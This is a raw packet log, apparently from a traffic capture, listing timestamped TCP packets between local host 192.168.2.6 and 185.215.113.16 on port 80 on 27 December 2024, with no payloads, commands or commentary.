Dec 27, 2024 08:50:51.974288940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.974338055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.974344969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.975024939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.975073099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.975074053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.975087881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.975150108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.975238085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.975909948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.975923061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.975934982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.975945950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.975980043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.975980043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.976577044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.976635933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.976648092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.976687908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.976687908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.976707935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.977395058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.977406025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.977416992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.977457047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.977457047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.977483988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.978204012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.978215933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.978226900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.978259087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.978287935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.978317976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.978921890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.978970051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.978981972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.979016066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.979016066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.979176044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.979722023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.979779005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.979804039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.979821920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.979865074 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.980469942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.980504036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.980535984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.980545998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.980576992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.980679989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.980683088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.981328964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.981390953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.981404066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.981442928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.981442928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.981451035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.982110977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.982156992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.982172966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.982219934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.982219934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.982260942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.982932091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.982969046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.982971907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.982985973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.983061075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.983071089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.983675957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.983761072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.983772039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.983815908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.983815908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.983843088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.984530926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.984541893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.984555006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.984595060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.984595060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.984635115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.985390902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.985402107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.985414028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.985449076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.985449076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.986078024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.986180067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.986192942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.986212969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.986222982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.986254930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.986254930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.986890078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.986901999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.986924887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.986968994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.986968994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.986980915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.987675905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.987684965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.987690926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.987737894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.987737894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:51.987792969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.988404036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:51.990418911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.027537107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.027550936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.027561903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.027596951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.027647018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.027647018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.027829885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.027899981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.027911901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.028091908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.053910017 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.171171904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171195030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171209097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171250105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171263933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171269894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.171334028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.171334982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171350002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171416998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.171689034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171757936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171771049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171782970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.171796083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.171833038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.172768116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.172781944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.172794104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.172827005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.172863007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.173311949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.173367023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.173378944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.173412085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.173527002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.173623085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.174149036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.174211025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.174223900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.174268961 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.174293995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.174351931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.174978018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.175045967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.175057888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.175086021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.175098896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.175132036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.175903082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.175951004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.175965071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.176019907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.176076889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.176150084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.176810026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.176896095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.176908970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.176994085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.177018881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.177067995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.177403927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.177421093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.177433014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.177472115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.177500963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.177561998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.178122997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.178136110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.178150892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.178157091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.178196907 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.178237915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.178699017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.178744078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.178755999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.178792000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.178798914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.178936958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.179337978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.179384947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.179403067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.179418087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.179435968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.179485083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.180052996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.180074930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.180085897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.180116892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.180143118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.180211067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.180799961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.180856943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.180871964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.180903912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.180934906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.181006908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.181629896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.181652069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.181694031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.181763887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.181775093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.181817055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.182394028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.182461023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.182473898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.182502985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.182548046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.182610989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.183175087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.183197021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.183208942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.183238983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.183303118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.183353901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.183959961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.184020042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.184032917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.184079885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.184082031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.184155941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.184768915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.184796095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.184809923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.184854984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.184895039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.184932947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.185528040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.185574055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.185585022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.185646057 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.185677052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.185729027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.186330080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.186363935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.186377048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.186419010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.186458111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.186554909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.187119961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.187170029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.187184095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.187212944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.187273026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.187339067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.187896967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.187944889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.187959909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.187987089 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.188030958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.188117027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.188719988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.188751936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.188766956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.188791037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.188811064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.188873053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.189476013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.189526081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.189538002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.189568996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.201939106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.229094982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.229141951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.229157925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.229156971 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.229175091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.229197979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.229368925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.229429007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.229439020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.229460001 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.229511976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.279686928 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.372186899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.372215986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.372229099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.372260094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.372298956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.372298956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.372514963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.372526884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.372539043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.372586012 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.373003006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.373053074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.373063087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.373070002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.373125076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.373179913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.373790979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.373831987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.373874903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.373893023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.373954058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.374284983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.374341965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.374353886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.374377966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.374433994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.374483109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.375117064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.375174999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.375186920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.375217915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.375266075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.375339985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.375910044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.375960112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.375982046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.376012087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.376015902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.376097918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.376672029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.376712084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.376734972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.376780033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.376804113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.376851082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.377470970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.377526999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.377543926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.377574921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.377602100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.377645969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.378253937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.378273010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.378284931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.378314972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.378395081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:52.378448963 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:52.379048109 CET	80	49752	185.215.113.16	192.168.2.6
